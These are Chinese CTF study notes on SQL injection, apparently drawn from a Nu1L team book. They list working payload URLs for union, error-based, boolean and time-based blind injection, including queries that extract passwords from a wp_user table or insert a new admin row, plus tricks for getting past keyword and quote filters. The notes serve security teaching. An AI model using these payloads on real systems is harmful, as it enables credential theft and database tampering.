来自于书《从0到1 CTFer的成长之路》Nu1L战队编著
0. 查表
URL编码 | 字符 |
---|---|
%20 | 空格 |
%23 | # |
–%20 | –空格 |
%27 | ‘ |
1. 注入类型
1.1 数字型注入
1 | mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id=".$_GET['id']) |
访问链接 http://xxx.xxx.xxx.xxx/sql1.php?id=2
【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=3-1
发现回显结果和之前一致,说明MySQL对 3-1
进行了计算
得到结论 数字型注入
,表现为输入点没有被引号包裹,具体见代码 $_GET['id']
【注入1】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select user, pwd from wp_user
假设我们不知道数据库的信息(如表名,字段名等)
【注入2】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select group_concat(table_name) from information_schema.tables where table_schema=database()
table_name
是 information_schema库tables表的表名字段table_schema
是数据库名字段database()
函数返回当前数据库名称
【注入3】http://xxx.xxx.xxx.xxx/sql1.php?id=1 union select group_concat(column_name) from information_schema.columns where table_schema='wp_user'
- 通过columns表及其columns_name字段,查询wp_user表的字段
1.2 字符型注入
1 | mysqli_query($conn, "SELECT title, content FROM wp_news WHERE id='".$_GET['id']."'") |
【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=3-1
发现回显为空,说明3-1
没有被计算,不是数字型
【尝试2】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2a
发现有回显
1='1'
当数字和字符串数据比较,字符串被强转为数字1='1a'
字符串1a被强转为1'a'=0
字符串a被强转为0
【尝试3】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2'#
,即 WHERE id='2'#'
,利用 #
注释后面的引号
【尝试4】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=2'union select concat(user,0x7e,pwd) from wp_user limit 1,1#
,即WHERE id='2'union select concat(user,0x7e,pwd) from wp_user limit 1,1#'
【尝试5】访问http://xxx.xxx.xxx.xxx/sql1.php?id=1'and'1
,即 WHERE id='1'and'1'
,后一个字符串’1’被强制转换成True
- 【布尔盲注】可以利用在第二个’1’的位置,输入别的不确定表达式,通过回显情况,判断第二个表达式的真假
- 一位一位打表探测
【尝试6】访问http://xxx.xxx.xxx.xxx/sql1.php?id=1'or sleep(1)#
,即 WHERE id='1'or sleep(1)#'
- 如果执行SQL,可以明显关注到sleep的时间,而不是查询时延
- 【时间盲注】利用IF条件函数、AND、OR的短路特性,和SQL的执行时间结果,来推断一些表达式是否为真
1.3 报错注入
有时为了方便开发者调试,网站会开启错误调试信息,这种情况可以利用 updatexml
函数
【尝试1】访问 http://xxx.xxx.xxx.xxx/sql1.php?id=1'or updatexml(1, concat(0x7e,(select pwd from wp_user)),1)#
,即WHERE id='id=1'or updatexml(1, concat(0x7e,(select pwd from wp_user)),1)#'
- updatexml函数要求第二个参数应为合法的XPATH路径,否则在报错的同时会将传入的参数进行输出
2. 注入点
2.1 SELECT 注入点在select_expr
1 | mysqli_query($conn, "SELECT {$_GET['title']}, content FROM wp_news") |
【尝试1】时间盲注
【尝试2】AS别名,访问 http://xxx.xxx.xxx.xxx/sql1.php?id=(select pwd from wp_user) as title
,即 SELECT (select pwd from wp_user) as title, content FROM wp_news
2.2 SELECT 注入点在table_reference
1 | mysqli_query($conn, "SELECT title FROM {$_GET['title']}") |
【尝试1】以别名的方法取出数据,访问 http://xxx.xxx.xxx.xxx/sql1.php?id=(select pwd AS title FROM wp_user)x
,即 SELECT title FROM (select pwd AS title FROM wp_user)x
2.3 SELECT 注入点在WHERE和HAVNG后
1 | mysqli_query($conn, "SELECT title FROM wp_news WHERE id = {$_GET['title']}") |
先判断有无引号包裹,再闭合前面可能存在的引号
2.4 SELECT 注入点在GROUP BY或ORDER BY后
1 | mysqli_query($conn, "SELECT title FROM wp_news GROUP BY {$_GET['title']}") |
经过测试可以发现 title=id desc, (if(1, sleep(1), 1))会让页面延迟1秒
访问 http://xxx.xxx.xxx.xxx/sql1.php?title=id desc,(if(1,sleep(1),1))
,即 SELECT title FROM wp_news GROUP BY id desc,(if(1,sleep(1),1))
2.5 SELECT 注入点在LIMIT后
不适用字符注入,LIMIT后只能是数字
- 在语句没有ORDER BY时,可以使用UNION注入
- 根据SELECT语法,使用PROCEDURE来尝试注入,只适合MySQL5.6前的版本
- 基于时间注入
2.6 INSERT table_name注入
1 | mysqli_query($conn, "INSERT INTO {$_GET['table']} VALUES(2,2,2,2)") |
【尝试1】访问http://xxx.xxx.xxx.xxx/sql1.php?table=wp_user values(2,'newadmin','newpass')#
,即INSERT INTO wp_user values(2,'newadmin','newpass')# VALUES(2,2,2,2)
2.7 INSERT VALUES注入
1 | mysqli_query($conn, "INSERT INTO wp_user VALUES(1, 1, '{$_GET['value']}')") |
【尝试1】先闭合单引号,然后另插入一条记录
访问 http://xxx.xxx.xxx.xxx/sql1.php?value=1'),(2,1,'aaa')#
即 INSERT INTO wp_user VALUES(1, 1, '1'),(2,1,'aaa')#')
【尝试2】利用回显字段
访问 http://xxx.xxx.xxx.xxx/sql1.php?value=1'),(2, 2, (SELCT pwd FROM wp_user LIMIT 1))#
即 ``INSERT INTO wp_user VALUES(1, 1, ‘1’),(2, 2, (SELCT pwd FROM wp_user LIMIT 1))#’)`
3 注入和防御
3.1 字符替换
【防御1】只过滤了空格
【绕过1】把空格替换成其他空白符 %0a
%0b
%0c
%0d
%09
%a0
【防御2】将SELECT替换为空
【绕过2】嵌套,SELECSELECTT
,经过过滤后又成为了SELECT
【防御3】大小写匹配,MySQL中关键字是不区分大小写
【绕过3】大小写混写,sEleCT
【防御4】正则匹配\bselect\b
【绕过4】/*!50000select*/
【防御5】替换了但引号或双引号,但是忘记了反斜杠
【绕过5】SELECT * FROM wp_news WHERE id='可控1' AND title='可控2'
,构造绕过 SELECT * FROM wp_news WHERE id='a\' AND title = 'OR sleep(1)#'
,执行后发现控制点2已经逃逸引号,可以利用union注入获取更多敏感信息